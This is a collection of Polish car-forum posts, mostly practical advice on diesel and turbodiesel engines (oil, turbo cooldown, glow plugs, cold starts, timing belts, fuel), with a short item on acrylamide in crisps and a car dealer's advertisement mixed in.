Zmiana włściwości zmarnych oleju
to prawda ,przy mrozach - 30 ,w trosce o klawiature,lepszy bedzie
pełnisyntetyk.moje doswiadczenia z olejami opieraja sie na twierdzeniu ,ze
nalezy jezdzic jak najdłuzej na pełnisyntetyku. prawda jest jednak taka,ze to
twierdzenie nie odnosi sie do benzynowych silników alfy ,które z reguły chodza
dobrze na 10w40(z wiadomych wszystkim wzgledów). nowoczesny turbodiesel to inna
bajka. ma bardzo wysokie wymagania(czesto wyzsze niz benzynówka jesli chodzi o
olej). wiadomo: turbina potrzebuje oleum o bardzo wysokim wskazniku lepkosci .
w silniku diesla w oleju odkłada sie sadza(nieobecna w benzynówkach) tylko
wysokiej klasy olej pełnisyntetyczny sprawnie sobie z tym radzi i zachowuje
płynnosc nawet po 10 tys km. uwazam ,ze 10w40 do JTD nie jest najlepszym
rozwiazaniem,ale jesli auto juz jakis czas jezdzi na tym oleju to nie warto
zmieniac,bo jest ryzyko ,ze sie cos uszkodzi.z drugiej strony jak ta 10 była
wymieniana czesto (np co 10 tys km)i turbina była niedawno regenerowana to
mozna by zaryzykowac z przejsciem na pełnisyntetyk.jesli pozostaniesz przy
10 ,to z uwagi własnie na kwestie obecnosci sadzy w oleju warto byłoby
wymieniac co 10 ty ,albo czesciej.Pozdrawiam Łukasz

     

  Zdrowe Odżywianie -> żadne diety cud !!! WEJDŹCIE
Chipsy
Chrupanie, pojadanie, przekąszanie. Na imprezach, przed telewizorem (doskonale
smakują w trakcie oglądania meczu). Mowa tu oczywiście o - chipsach. Ten znany
wszystkim "smakołyk" dostarcza niewątpliwe przyjemnych odczuć sensorycznych,
lecz również szeregu związków chemicznych wytwarzanych podczas procesu
technologicznego.
Szweccy naukowcy z uniwersytetu w Sztokholmie oraz rządowego Instytutu ds.
Żywności przedstawili ostatnio wstępne badania, z których wynika, że niektóre
produkty żywnościowe, takie jak frytki i chipsy, mogą zawierać substancje
rakotwórcze w wysokim stężeniu. Podczas długotrwałego smażenia lub pieczenia
produktów zawierających duże ilości węglowodanów (np. w ziemiakach), może
dochodzić do wytwarzania akrylamidu.
Związek ten został umieszczony w wykazie czynników prawdopodobnie
rakotwórczych dla ludzi wśród innych 47 substancji chemicznych i mieszanin. Na
liście tej można znaleźć obok akrylamidu również m.in.: epichlorohydrynę,
formaldehyd, tlenek propylenu, spaliny silnika Diesla, fluorek winylu.
Międzynarodowa Agencja Badań nad Rakiem podała informację, że akrylamid
powoduje uszkodzenia genetyczne (paczka chipsów zawiera 500 razy więcej tej
substancji niż dopuszczalne jej stężenie w litrze wody pitnej, określone przez
WHO). Podawanie tej substancji zwierzętom laboratoryjnym, wywołało u nich
powstawanie guzów nowotworowych w żołądku.

  jazda na luzie czy na biegu - silnik 16V
A co ma 16 zaworów do jazdy na luzie ?
Żaden silnik nie uszkodził się jeszcze od pracy na biegu jałowym .

Gość portalu: RyMario napisał(a):
> Pewnie wiele bylo juz takich watkow wiec wybaczcie mi ze jeszcze raz spytam.
> Wyroslem ze szkoly, ktora mowila ze najekonomiczniej sie jezdzi na
> luzie.Chodzi oczywiscie o dojazdy do skrzyzowan i jazde z gorki samochodami z
> gaznikiem i dieslami.Teraz mam z silnikiem 16V i nie wiem jak
> najlepiej/najzdrowiej dla silnika i najekonomiczniej.

Jeśli jedziesz 120km/h i pół kilometra przed skrzyżowaniem wyłączasz bieg
silnik spali tylko minimalną dawkę podtrzymującą ok.1000obr/min pracy na biegu
jałowym . Przy hamowaniu silnikiem z 3000obr/min do 1000 , nawet przy
minimalnej dawce wtrysku , na pewno silnik spali więcej (chociaż nie jestem
ekspertem - nie wiem czy komputer może ograniczyć wtrysk paliwa do zera) .

  W dizlu co oznacza kontrolka...
Gość portalu: azemski napisał(a):

> Gość portalu: maxturysta napisał(a):
>
> > rysunek:sylwetka koreczka wlewu z dwoma szlaczkami poniżej.
> > kontrolka minimalnego poziomu płynu chłodzącego silnik,
> > jest sprzężona z kontrolką centralnego alertu "STOP"(przynajmniej u mnie).
> > Kontrolka zapala się po kazdym włączeniu zapłonu na ok.3s.
> > Po zapaleniu Koniecznie zatrzymać pojazd.
>
> W 1987 MB 300 Turbo Diesel oznacza zejscie ponizej min. plynu chlodzacego w
> zbiorniku wyrownawczym. Kolor zolty- nie wymaga natychmiastowego zatrzymania .
> Wymaga jednak sprawdzenia i dolania plynu
Dzięki! To właśnie to, uszkodzony był czujnik poziomu płynu w chłodnicy.Pzdr

     

  Wylaczanie silnika diesla common rail z turbina
Gość portalu: Bzykacz napisał(a):

> Dowiedzialem sie niedawno, ze diesla common rail z turbina (Toyota Avensis)
> nalezy wylaczyc dopiero po min. 30 sekundach od zakonczenia jazdy. Ponoc
> natychmiastowe, zaraz po zatrzymaniu, zgaszenie silnika moze zatrzec
> turbinke. Czy ktos z Was cos na ten temat wie? Bardzo prosze o informacje.

Tak, to prawda. Turbiny nie uszkodzisz oczywiście od razu, po prostu skrócisz
znacznie jej żywotność wyłączając auto bezpośrednio po zatrzymaniu.
Lepiej poczekać te 30s.

Pozdrawiam,
Niknejm

  Zima a sprawa diesla / Dlaczego diesle nie lubi...
Same kłopoty ze starym dieslem , ale po kolei .
Najpierw beczka 123 słaby silnik , tzn trochę zużyty , - 5 już problemy nie
chce odpalić , poradziliśmy sobie montując grzałkę w blok , była bez atestów
więc trzeba było uważać bo kopało , ale tylko czasami .
Remont silnika rozwiązał problem .
4 lata eksploatacji 3 akumulatory zarżnięte .
Audi 100 TD na początku ok póżniej coraz gorzej , nie było możliwości
wstawienia grzałki / brak takowego otworu / , pewnego dnia -20 zamarza
wszystko , próby uruchomienia na zaciąg kończą się uszkodzeniem pompy wody .
Domorosły fachowiec wymienia pompę , przy okazii ustawia zapłon , zapomina o
podkładce , czy czymś takim na dużej śrubie wkręcanej w wał korbowy , próbują
dokręcic na siłe - pęka wał korbowy zaczyna się gehenna . Lużne koło powoduje
ciągłe przestawianie zapłonu . Różni fachowcy proponują : wymianę pompy
wtryskowej lub tylko rozdzielacza wtrysków , przypadkiem zostaje znaleziona
przyczyna , robią naprawę prowizoryczną i wkręcają śrubę na stałe używając
kleju do metalu .
Ogólne dno , zimą coraz gorzej , chcąc odpalić stary musi w nocy co 2 godziny
rozgrzewać silnik .
Od starego diesla trzymajcie się z daleka

  Silniki VW umieraja z zimna
Bo trochę spanikowałem....
Joasiu, bo jeżdżąc półrocznym paskiem nie chciałbym mieć porodnych problemów.
Ciekawe, że w jednem ze stołecznych serwisów VW nic nie wiedzą o akcji VW oraz
o tych problemach, a i nikt nie nigdy nie słyszał o montowaniu podgrzewaczy
powietrza. Nie wiedzieli też czy taki podgrzewacz jest seryjnie montowany w
passacie, to dobre. Dlatego mam zamiar zadzwonić do innego serwisu, może tam
coś będą wiedzieć. Ciekawe, czy taki podgrzewacz potrzebny jest do diesla ?
Czy bez niego i przy obecnym -20 stopniowym mrozie praktycznie codzień grozi mi
uszkodzenie silnika ?

  termostat
Uszkodzony termostat wplywa przede wszystkim na trwalosc silnika-silnik
niedogrzany pracuje na ssaniu-w dieslu jest rowniez cos temu podobne.Moze sie
zdarzyc w zimie, ze nawet na dlugiej trasie silnik bedzie niedogrzany,a wtedy
zuzycie paliwa moze wzrosnac nawet o 15-20%. Innymi slowy-jesli tylko mozesz i
masz kase,wymien termostat bo szkoda silnika i pieniedzy na (coraz drozsze)
paliwo

  turbo - regenerowac czy kupic uzywane?
Macku,
Nie ,szukam mozliwej przyczyny uszkodzenia turba,ten sam problem jest w
Szwecji.Okazuje sie ze ludzie totalnie ignoruja to urzadzenie,niezdaja sobie
sprawy ze jest to bayer dla zabawy a nie prawdziwego uzywania.Turba ktorych sie
prawie nigdy nie wymienia i nie regeneruje sa montowane w duzych
ciezarowkach.Np.Scania posiada specjalna ekstra chlodnice ktora zchladza olej
silnikowy,jest intercooler i duzo innych urzadzen ktore nie pozwola sie
przegrzac tym wszystkim precyzyjnym urzadzeniom,i to w ciaglym czasie pracy i
duzych przeciazeniach np.jadac po drogach gorskich.Pamietam w Niemczech na
poczatku lat 80-tych kiedy zaczely masowo wchodzic turba wlasnie w Audi to byla
cala instrukcja jak postepowac przed wylaczeniem silnika po dluzszej jezdzie
autostradowej lub ostrej miejskiej.To juz pod koniec lat 80tych tych aut nie
bylo lezalo na zlomach pytalem sie kolegow jaki powod,odpowiedz byla
jedna,ludzie nie sznuja tego urzadzenia.Generalnie kupujac takie auto i
zapominajac o tych paru przykazaniach,to praktycznie po paru latach jest zlomem
i oto idzie abys kupil nowe.Pzdr.Michal
P.SMielismy w firmie Scanie z silnikiem turbo diesel stara z lat 68.Ona miala
wiele takich wlasnie urzadzen.Pod koniec jej zywota chcialem zameczyc ten
silnik nie dalo sie . Wylaczales goracy motor ,to diablica gwizdala tymi
wszystkimi urzadzeniami jeszcze z pietnascie minut po skonczeniu pracy az sie
powoli sama zchlodzila to sie wszystko po koleji wylaczalo.Dzwig z niej poszedl
do Polski(Hiab) a reszte murzyni zabrali do afryki.Motor to jakis czlowiek
chial do duzego yachtu,ale byl za duzy i za ciezki i za skomplikowany jak na
morze.

  Wrocilem do kraju - koszmar
Gość portalu: ARAFAT napisał(a):

> Henry!
>
> Kto wie moze juz zwariowales albo ci sie auta juz znudzily. Mi co prawda
wojna
> troche uszkodzila glowe bo mnie nonstop chca zastrzelic ale ja radze sobie
> dzielnie. Co do Skody to na Octavie RS bym sie nie obrazil ale cala reszta
> modeli (czy istnieje VR64X4?) jest stanowczo za droga na jakosc ktora
> reprezentuje oraz prestiz marki. I prosze niech nikt mi nie zarzuca ze lubie
> szpan - nie wole taki understatement ale auto musi miec jako taki wizerunek.
>
> Pozdrawiam ARAFAT
>
> Staram sie wrocic do zdrowia...
>
> Jak bedziesz kupowal Kangoo to kup 1.616V
________________________________________________________________________________

Dziekuje za porade Arafat, "Drapacze Nieba" o ktorych wspomnialem maja silnik
1,6 jako model wstepny,jest jeszcze 1,8 D i 2,0 benzyniak, diesla nie kupie bo
podatek drogowy roczny jest ponad 5-c razy wyzszy niz benzyniaki,-w ogole
diesle u nas "nie ida" a daz to jeszcze egzotyka,trzeba byc bardzo zbawionym
ekologiem by to kupic.
Nie nasze auta sie nam nie znudzily,to prosty rachunek ekonomiczny i
niedogodnosci,-nasz garaz jest na dwa auta,dwa pozostale garazuje w wynajetym
garazu,nie lubie gdy auto bez potrzeby niszczeje,wedlug mnie to barbarzynstwo ,
pozatem jest zapotrzebowanie na auto,tylko jedno wystarczy,mniej pracy dla mnie
rowniez-sam servam i konserwuje nasze auta,nie wierze w uczciwosc
warsztatow,jastem czlonkiem MRF & OK i wiem jak niektore warsztaty tych
wygiodnych w faktore nabijaja . Pzdr. HH
________________________________________________________________________________

  wątpliwości przy zerwanym pasku rozrządu...
Nie zawsze, w Oplu Vectra A 1.6 nie działo się nic, trzeba było wstawić nowy
pasek, ustawić rozrząd i w drogę (a propos - nie polecam tanich pasków, często
nieznanych włoskich firm - nie wytrzymują 500km).
W silnikach Diesla zerwanie paska praktycznie zawsze prowadzi to do uszkodzenia
głowicy, zniszczenia rozrządu, niekiedy do pęknięcia wału silnika (w wikszości
nowoczesnych silinków benzynowych jest tak samo).

pozdrawiam

  Na marginesie "cudu paliwowego"
Na marginesie "cudu paliwowego"
W niemieckim wydaniu "Auto Bild" ( bodajze 19.09.2003 ) byl krotki artykul
o wycofywaniu sie producentow zachodnich z przyzwolenia
na stosowanie biopaliw ( zwlaszcza bio-Diesla ) ze wzgledu
na uszkodzenia ukladow wtryskowych.

Okazuje sie , ze planuja oni wbudowanie sensorow do
ukladow wtryskowych, dzieki czemu mozna bedzie rozpoznawac
paliwo nie spelniajace norm i np odcinac w pore doplyw
tej breji do silnika.

To tak na marginesie "cudu paliwowego nad Wisla".

pzdr,
lupo

  Katalizator, a zapalanie na pych?
ion-tichy napisał:

> a ja z innej beczki - fachowiec w serwisie wytłumaczył mi, że tak na prawdę
> problem nie jest w katalizatorze tylko w paskach rozrządu - które łatwo mogą
> przeskoczyć przy holu i potem jest problem.

Moja aktywnosc na tym forum zaczalem od sporu o niemozliwosc uszkodzenia paska
rozrzadu przy zapalaniu na pych. Zostalem co prawda zakrzyczany przez
fachowcow, jednakze nikt dotychczas nie potrafil jasno wytlumaczyc, na jakiej
podstawie zapalanie na pych niesie ze soba wieksze obciazenia dla paska
rozrzadu, nizli zwykly start.

Innymi slowy, skad pasek rozrzadu wie, kiedy kolo zamachowe napedzane jest
rozrusznikiem, a kiedy sprzeglem :->

Rozmawiamy oczywiscie o prawidlowo przeprowadzanym popychaniu. Jesli sie bowiem
wezmie na hol, rozpedzi do 40 km/h, wlozy 1 bieg i pusci sprzeglo, no to
wiadomo, ze sie bedzie czesci z asfaltu zbierac :-)

Moze wiec w miedzyczasie ktos znalazl przyczyne horror pychui :-)

> A np w dieslu szlag trafia sprzęgło - duża kompresja - duże opory.
> pzdr

Ten, kto takie dyrdymalki rozpowszechnia, niech sie wczesniej zastanowi, co sie
dzieje ze sprzeglem podczas normalnej jazdy, nie mowiac o dynamicznym hamowaniu
silnikiem z redukcja, czy tez przy czesto przez niektorych forumowiczow badanym
przyspieszeniu 0.100 km/h. I niech nie gada wiecej takich bzdur.

Pozdr.

K.

  DYZEL+AUTOMAT
Gość portalu: długopisem napisał(a):

> Witam
> Pyt1
> Proszę o udzielenie informacji.
> Jak należy prwaidłowo eksploatować dizla? Jakie są różnice w stosunku do
> benzynówki?

- nie krecic do obrotow bliskich maksymalnych
- nie naciskac mocno gazu dopoki silnik sie nie rozgrzeje

> Podobnopo dłuższej trasi przed wyłączeniem silnika trzeba
> pozostawić silnik na moment na niskich obrotach, czy to konieczne?

- to nie jest cecha diesli, tylko wszystkich aut z turbina - jezeli jest ona
bardzo nagrzana, to trzeba pozwolic sie jej wolno schlodzic, a nie od razu
wylaczac - moze to spowodowac jej uszkodzenie. kosztowne uszkodzenie. :)
ale nie przesadzalbym - nie trzeba czekac 5 minut po kazdym przejechanym
kilometrze.

> Pyt2
> To samo pytanie tylko o automatyczną skrzynię biegów. Podobno Polacy nie
> umieją jeżdzić na automatach i ja często psują. Jak więc to eksploatować?

pierwsze slysze. tu z definicji ciezko cos nabruzdzic, bo wszystko robi sie
samo. :) jedyne na co musisz uwazac, to:
- nigdy nie holowac takiego auta z kolami napedzanymi na ziemi
- nie robic szybkich manewrow przod tyl - chodzi mi o takie, kiedy cofasz (bieg
r), szybko przelaczasz (bieg d) i blyskawicznie dajesz po gazie. automat moze
nie zalapac jeszcze biegu i szarpnie tak, ze az ciarki po plecach przejda.
(mialem takie wpadki w nowym pontiacu i paroletnim audi z tiptronikiem)

-

  Garść obiektywnych o 1.8 TDCI 115 KM
Gość portalu: AdM napisał(a):
> w tym wątku chodzi o gaszenie silnika :-). teoretycznie sprężarka w każdej
> benzynie ma gorzej właśnie przez b.gorące spaliny.

Fakt że chodzi o gaszenie silnika, ale wcześniej trzeba go jeszcze odpalić :) A
co do gorszych warunków pracy to jednak wydaje mi się że prędkość obrotowa
turbiny w turbo-benzynach jest wyższa niż w turbo-dieslach: dają wyższe
ciśnienie doładowania....

> nawiasem mówiąc kiedyś czytałem o firmie tunningowej z
> Moskwy która podkręcając evo montowała układ który gasił silnik dopiero po
> kilku minutach od wyjecia kluczyka ze stacyjki

Eeee, to żadna nowość. Podtrzymanie pracy silnika, a właściwie to utrzymanie
smarowania turbiny jest dostępne od dawna w Polsce. I nie kosztuje ogromnych
pieniędzy. AFAIK to ceny (w zależności od zawansowania) wahają się od 150 do
1000 zł.
A co do problemu turbiny to jest to moim zdaniem świadomy wybieg producentów.
Jest to element podatny na uszkodzenia z racji swojej "wysokoobrotowości".
Owszem można zrobić to inaczej (np. doładowanie mechaniczne - BTW czy jest
jakiś diesel z tym typem doładowania), ale po co? Masz Mondeo TDCI, więc sam
wiesz ile kosztuje wymiana sprężarki. Mondeo TDDI: w Rzeszowie 6000, a w
Warszawie (OMC Motors) 9200. Słabo? Serwisy zarabiają na tym krocie.....

Art

  LIST do KE wzór !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Gość portalu: enter napisał(a):

> bo zupelnie nie wiem o co chodzi. Ja walcze o to, aby sprowadzanie samochodow
z
>
> zagranicy bylo oblozone tak wysokimi oplatami, aby nie oplacalo sie tego
robic.
>
> Czyli mniej wiecej tak jak bylo (a moze wciaz jest). Jak to sie ma do tego, o
> czym piszesz to nie pojmuje.
>

Pracujesz w branży "nowe autka drogo sprzedaję" czy jesteś po prostu kretynem?
ewentualne wyjaśnienia mogą przybliżyć normalnych ludzi do zrozumienia twoich
intencji; ja kupuję właśnie toyote z 2002 r. z małym przebiegiem i bardzo
delikatnie uszkodzona. Płacę 15% akcyzy i idę do WSA (NSA) po zwrot moich
pieniędzy. Nie widzę powodu aby walczyć z importem tego typu
motoryzacyjnych "zużytych podpasek". No chyba że się sprzedaje nowe samochody.
wtedy rzeczywiści rozumiem: za 50 tys ktore łacznie wydam na fajne kombi z
silnikiem diesla, którym bezawaryjnie pojezdzę kilka lat mógłbym
kupić "wypasionego" punto albo corse. O, sorry, sąjuż chevrolety,
fajne "amerykańskie" bryki. Tylko jeżeli nie jesteś zwyczajnym kretynem, a po
prostu walczysz o swoje miejsce pracy jako sprzedawca nowych aut, to napisz to
wprost jak masz jaja.

  190-warto?
Mam MB 190 ale diesla. Fajny wózek. Na gazie raczej nie będzie chodził idealnie
(problemy z uruchamianiem na bęzynie-wtrysk mechaniczny benzyny) po jakimś
czasie pada przy użytkowaniu na gazie. Poza tym za 18 t to raczej nie będzie
idealny :). Silnik do sprawdzenia+ tzw poduchy pod ławą tylnego
zawieszenia+sprzęgła metalowogumowe na wale napędowym+amortyzator układu
kierowniczego. Nawet jeśli nie był bity trzeba sprawdzić geometrię ,
szczególnie tyłu. W tym silniku czasami jest niesprawny czujnik wentylatora
chłodnicy a ponieważ nie jest on elektryczny, tylko załączany sprzęgiełkiem
(jak w starym 125p) nie każdy zauważa moment kiedy przegrzewa się silnik
(szczególnie w korkach)może być więc uszkodzona nieco uszczelka pod głowicą.
I jak w każdym samochodzie powyżej 10 lat wszystkie inne pierdoły które mogą
się zepsuć:))
pzdr

  używany,tani,ekonomiczny...-byt realny, czy ułuda?
Dwa lata temu kupilem moja mazde 626 kombi za cale 16500 zl. Miala wtedy 7 lat. Jest to wielkie auto. Jezdze nia ostatnie dwa lata (i 70.000 km). Jedyny wklad to wymiana tarcz i klockow hamulcowych oraz srodkowego odcinka ukladu wydechowego. Poza tym dziala w niej wszystko co elektryczne i elektroniczne (a jest tego sporo m.in. tempomat). Na ostatnim przegladzie zalecono mi wymiane tylnych amortyzatorow. Samochod uczestniczyl w niegroznej stluczce (obcierce) i trzeba przyznac, ze nienajlepiej naprawionej. Jednak zaden istotny dla integralnosci nadwozia element nie zostal uszkodzony. Slady dotycza wylacznie tylnego blotnika i tylnych drzwi. Tylna klapa ma oryginalna naklejke, ktora niszczy sie w czasie lakierowania - w Polsce nikt jakos nie zawraca sobie glowy kupieniem nowej. I to koniec dobrych wiesci. Niestety moj samochod wyposazony jest w silnik benzynowy o pojemnosci 2,2 litra. Nawet gdybym przerobil go na gaz to i tak spalanie nie spadloby ponizej 10 litrow. Chyba, ze kieruje moja kobieta. U niej zanotowalem rekord: 8,5 litra benzyny!!! Twoje wymagania moze spelniac mazda 323 kombi z silnikiem diesla 1,7 litra. Znawcy powiadaja, ze jezeli chodzi o niezawodnosc, to przy porownaniu moja 626 to szrot. Znalezienie takiego samochodu niestety graniczy z cudem. Mysle, ze latwiej znalezc 626 kombi z dwulitrowym dieslem. Duzo latwiej znalezc cos w dobrym stanie, bo duzo tego importowano (rowniez przez Pewex - niestety wtedy wyposazenie jest zblizone do tego z poloneza + wspomaganie kierownicy). Spalanie w miescie nie powinno przekraczac 8 litrow ropy. Niestety trzeba sie liczyc z tym, ze auta maja duze przebiegi.

  moj pierwszy dizel
nie przekraczaj 70% max obrotow i 70% max predkosci przez pierwsze 5000 km
w zasadzie wystarczy przez 2000, a potem mozesz stopniowo wyciskac wiecej, po
5000 bedzie juz dotarty
w praktyce strzalka obrotomierza przy docieraniu nie powinna wychodzic poza
2800-3000

w instrukcji obslugi bedziesz mial zreszta wskazowki dotyczace docierania

unikaj prywatnych stacji na wsiach, tankuj raczej w duzych sieciach, choc
wlasciwie nigdzie nie bedziesz w 100% bezpieczny
z tanich stacji dobra opinie ma neste
zreszta przypadki uszkodzenia silnika po zatankowaniu jakiegos mazutu sa
sporadyczne (choc wydaje mi sie ze najczesciej opisywane byly w dieslach forda)
poza tym ze zdecydowanie odradzam tankowanie oleju opalowego, nie przejmowalbym
sie tak bardzo paliwem
najlepszy sposob to tankowac w miare moznosci na jednej, zaufanej stacji, a gdy
trzeba zatankowac w jakims podejrzanym miejscu to nigdy do pelna i nigdy do
pustego baku - chodzi o to zeby ewentualna trefna ropa ulegla w baku
rozcienczeniu

  Zapala sie kontrolka oleju w VECTRZE
e-malka napisała:

> Panowie, pomocy! PAli mi sie od czasu do czasu kontrolka oleju w vectrze
> b '98 2 l TDI. Olej wymienialam jakis tydzien temu, a wczesniej kilka razy
> tez mi mignelo.. zapalala sie przy niskich obrotach, gasnie nawet po
> minimalnym dodaniu gzau. Pozoim oleju ok, a ja kompletnie nie wiem co moze
> sie dziac. Fajnie, jak sie okaze, ze silnik zarznelam, ale sampchod ma
> najechane 85 tys i troche bylo by to dziwne...hmmmmmmm.....
> licze na pomoc -= z gory dziekuje
> emlaka

Przyczyn moze byc kilka:
- zly olej - mogli Cie oszukac i wlac "niewiadomoco"
- uszkodzony filtr oleju - duze opory wewnetrzne i uszkodzony uklad "przelewowy"
Z takich bardziej "zyciowych" problemow:
- uszkodzony lub zanieczyszczony czujnik cisnienia oleju
- uszkodzony przewod od czujnika oleju - moze miec przerwana izolacje
- zuzyta pompa oleju - niestety, jest to mozliwe :(
- uszkodzona turbosprezarka - ale wtedy przede wszystkim silnik kopci na niebiesko i traci moc
"Zajezdzony" silnik zuzywalby sporo oleju, poza tym ciagnelaby sie za nim chmura niebeiskiego dymu.

Swoja droga - nowoczesne diesle sa na tyle wysilone, ze zdarzaja sie wypadki przejechania mniej niz 100.000km - ale przy naprawde ciezkiej nodze i ekstremalnych warunkach (np. wylaczanie silnika tuz po ostrej jezdzie - poszukaj watku o prawidlowej eksploatacji turbosprezarki)

  NAJTAŃSZE SAMOCHODY W Europie-Kaufhaus
NAJTAŃSZE SAMOCHODY W Europie-Kaufhaus
NAJTAŃSZE SAMOCHODY W EUROPIE-fabrycznie
nowe ,gwarancja ,kredyty ,ubezpieczenia ,leasing ,przyjmujemy w rozliczeniu
samochody używane wszystkich marek ,typów zadłużonych w bankach .

FIAT,OPEL,SKODA,RENAULT,PEUGEOT ,CITROEN,BMW,MERCEDES,KIA,HYUND AI
CHEWROLET,VW,
MITSUBICHI,TOYOTA,HONDA,SUZUKI, NISSAN

Upusty od 5-25% w zależności od marki ,modelu .

Samochody osobowe jednoroczne z upustami do 40 % bezwypadkowe.

Samochody osobowe jednoroczne po lekkich uszkodzeniach z upustami do
55% /cena po naprawie blacharsko-lakierniczych /.
Samochody dostawcze marek zachodnich od 8 000zł ,we wszystkich typach
nadwozia i markach ,silniki diesla ,samochody
ciężarowe ,naczepy ,przyczepy ,samochody
specjalistyczne ,mikrobusy ,autobusy .

Salon samochodowy import –eksport ASTAZ

1) Ruda Śląska – KAUFHAUS ul .Niedurnego 99
telefon + 48 32 244 36 36 kom. + 48 603 601
193 + 48 508 061 954
+ 48 32 244 36 35 + 48 603 585 337
+ 48 32 244 36 34 + 48 501 538 381
www.astaz.gratka.pl
www.mobile.de/astaz
GG 435 22 69
Skype zbyszek_truszczynski
astaz4@gazeta.pl

2) Mysłowice ul.Obrzeżna Północna 17 /obok giełdy samochodowej/
telefon + 48 32 22 25 286 kom. + 48 601 462 639 + 48 608 145 409
+ 48 32 22 25 293 + 48 888 228 463 + 48 502
230 696
SERVIS
+ 48 32 22 36 705 + 48 602 216 794 +48 501 319
774 + 48 603 726 603
www.astaz.gratka.pl
astaz4@gazeta.pl
GG 479 45 51
Skype astaz_nina

  Rzuca Mercem
adam.grabalowski napisał:

> Musiałem podeprzeć się pomoca speców od diesli i wyszło, że może to być
kolejno
>
> (mniej więcej od najlżejszej do najpoważniejszej usterki): awaria
podgrzewacza
> (-y), zapowietrzenie układu wtryskowego, przytkany filtr paliwa, poluzowanie,
> pęknięcie, zagięcie lub przytkanie przewodu zasilającego lub wtryskowego,
> zawieszający się bądź uszkodzony wtryskiwacz (-e), rozregulowanie pompy.

WYDAJE MI SIE ZE TO RACZEJ SWIECE. OBJAWY ZANIKAJA PONAGRZANIU SIE SILNIKA.
ODPALENIE CIEPLEGO NIE MA TEGO PROBLEMU.
W KAZDYM RAZIE DZIEKUJE WSZYSTKIM ZA PORADY. SWIECE ZAROWE JUZ ZAMOWIONE.

  opel astra 1.7 TD
Zaraz, zaraz nie nerwowo. Na liście mądrości różnych sepców od diesli (a to
poważna sprawa) znajduje się jeszcze kilka innych przyczyn braku odpowiedniej
mocy silnika w przypadku jeśli jego ogólny stan techniczny jest OK. Są to:
- zużycie zespołów pompy wtryskowej;
- rozregulowanie pompy wtryskowej;
- niewłaściwy kąt wyprzedzenia wtrysku;
- zużycie lub uszkodzenie wtrysku;
- nadmiarny spadek ciśnienia otwarcia wtryskiwaczy;
- zatkanie filtru paliwa, niedostateczny wydatek pompy zasilającej;
- zapowietrzenie układu podającego paliwo.
No, i teraz chyba byłby względny komplet.

  Diesel. Rano tak jakby zapowietrzony. o co chodzi?
paszis napisał:

> Jesli problemy pojawily sie teraz (rano jest juz dosc zimno).
> To wyglada na to ze silnik juz zlom (niskie sprezanie) ,mozesz jeszcze
sprawdzi
> c wtryski i pompe wtryskowa i oczywiscie swiece zarowe czy wszystkie grzeja i
c
> zy sie wlaczaja (przekaznik).

Dlaczego zlom wystarczy ze dwie swiese sa uszkodzone i juz silnik moze nie
zapalic.Podjedz do warsztatu niech sprawdza przede wszystkim swiece i wtrysk
paliwa moze trzeba ustawic zaplon czy wyregulowac pompe raczej sam tego nie
zrobisz.Moze tez juz wtryskiwacze sa kiepskie jest mase mozliwosci ale w
dieslach trzeba posiadac troche wiedzy na ten temat zeby samemu naprawic.

  Diesel. Rano tak jakby zapowietrzony. o co chodzi?
> To jest starej konstukcji diesel -nie odpala tak jak silniki TDI .Wystarczy ze
> wczesniej jakas swieca nie pracowala teraz doszla druga lub jeszcze jedna i
> juz moga pojawic sie klopoty.Mogl takze uszkodzic sie przekaznik i to pierwsze
>
> nalezy spradzic -a pozniej uklad wtryskowy -silnik nie psuje sie z dnia na
> dzien jesli mialby kiepskie sprezanie bylyby problemy z zapaleniem rozgrzaego
>
> silnika juz wczesniej.

Mialem starej konstrukcji diesle (w kiepskim stanie) i palily bez swiec do -3 dobry silnik nawet przy -15 bez swiec zapali, zreszta co za roznica stary czy nowy?
Zauwaz ze te problemy zaczely sie teraz jak rano jest zimno cyt."Po chłodniejszych nocach rano mam problemy z odpaleniem." i niewiadamo kiedy auto kupil? (moze w czerwcu :-) jak bylo cieplo).
Oczywiscie moga to byc jeszcze problemy z zasilaniem wtryski pompa, jak wczesniej o tym napisalem.

  Problem z zapalaniem Diesla !!!
sznikers23 napisał:

> Pytanie: mam VW Passata 1,9D (rocznik 91). Mam ten sam problem co własciciel
> Renaulta. Pytanie moje: czy można ew. na noc przykryć część silnika jakąś
> szmatką, folią, tak aby ta wilgoć nie dostawała się tam gdzie nie powinna?
> Jeżeli to skutkuje to co moge przykryć...
> Chodzi tylko o fakt by nie ponosić kosztów... Może poskutkuje, proszę więc o
> radę. Pozdrawiam

Nic nie musisz przykrywac bo to nic nie da a i tak raczej nie o wilgoc tu
chodzi .Zeby odpalic silnik diesla musi wytworzyc sie odpowiednia temp. aby
nastapil zaplon oleju napedowego a uzyskuje sie to za pomoca swiec zarowych i
kompresji mieszanki.Wystarczy ze silnik bedzie slaby lub nawet jedna swieca
uszkodzona to moga nastapic problemy z uruchomieniem silnika tym bardziej
teraz kiedy jest niska temp. zewnetrzna.

  temepratura silnika - pomocy!!!
temepratura silnika - pomocy!!!
Golf II diesel, silnik 1.6

W czasie jazdy, gdy silnik sie nagrzeje, temperatura silnika rosnie tak, ze
wlacza sie wiatrak. Wtedy nieco sie ochladza, ale zaraz potem rosnie i znowu
wlacza sie wiatrak. Tak jest teraz, przy zimowych temperaturach powietrza. I
jezdzie w trasie. Zadne korki czy jazda po miescie. A tak sie do tej pory nie
dzialo!!

Gdy snane, temeratura silnika szybko wraca do normy.

Wymienilem niedawno uszczelke pod glowica oraz termostat oraz pompe wodna.
Wszystkie te rzeczy byly uszkodzone napewno, ale naprawialem je u stosunowo
wiarygodnych gosci. Tak wiec co moze byc teraz?

chlodnica? - nalezy przeczysic chlodnice? mogla sie chyba gdzies zatkac, bo
samochod juz parenascie latek jezdzi.

Czy cos innego?
Dzieki wielkie za rady...;-)

  Octavka 1,9tdi
Przede wszystkim jak w każdym dieslu dbaj o dobrej jakości paliwo.
Po drugie jak w każdym turbo dieslu dbaj o turbinę. Po odpaleniu
zimnego silnika przez pewien czas "nie depcz" zbyt mocno. Po
zakończeniu dynamicznej jazdy pozwól silnikowi pochodzić minutę na
wolnych obrotach i dopiero go gaś. Przestrzeganie tych dwóch
prostych zasad znacznie wydłuży turbince życie, a Tobie oszczędzi
niepotrzebnych wydatków. Po trzecie wreszcie nie zapominaj o
regularnej wymianie oleju. Diesle są bardziej wrażliwe na zużyty,
bądź złej jakości olej. Jeżeli nie zakatujesz tego silnika (lub
jeśli nie zrobił tego poprzedni właściciel) to może "przelecieć"
nawet 0,5mln km.
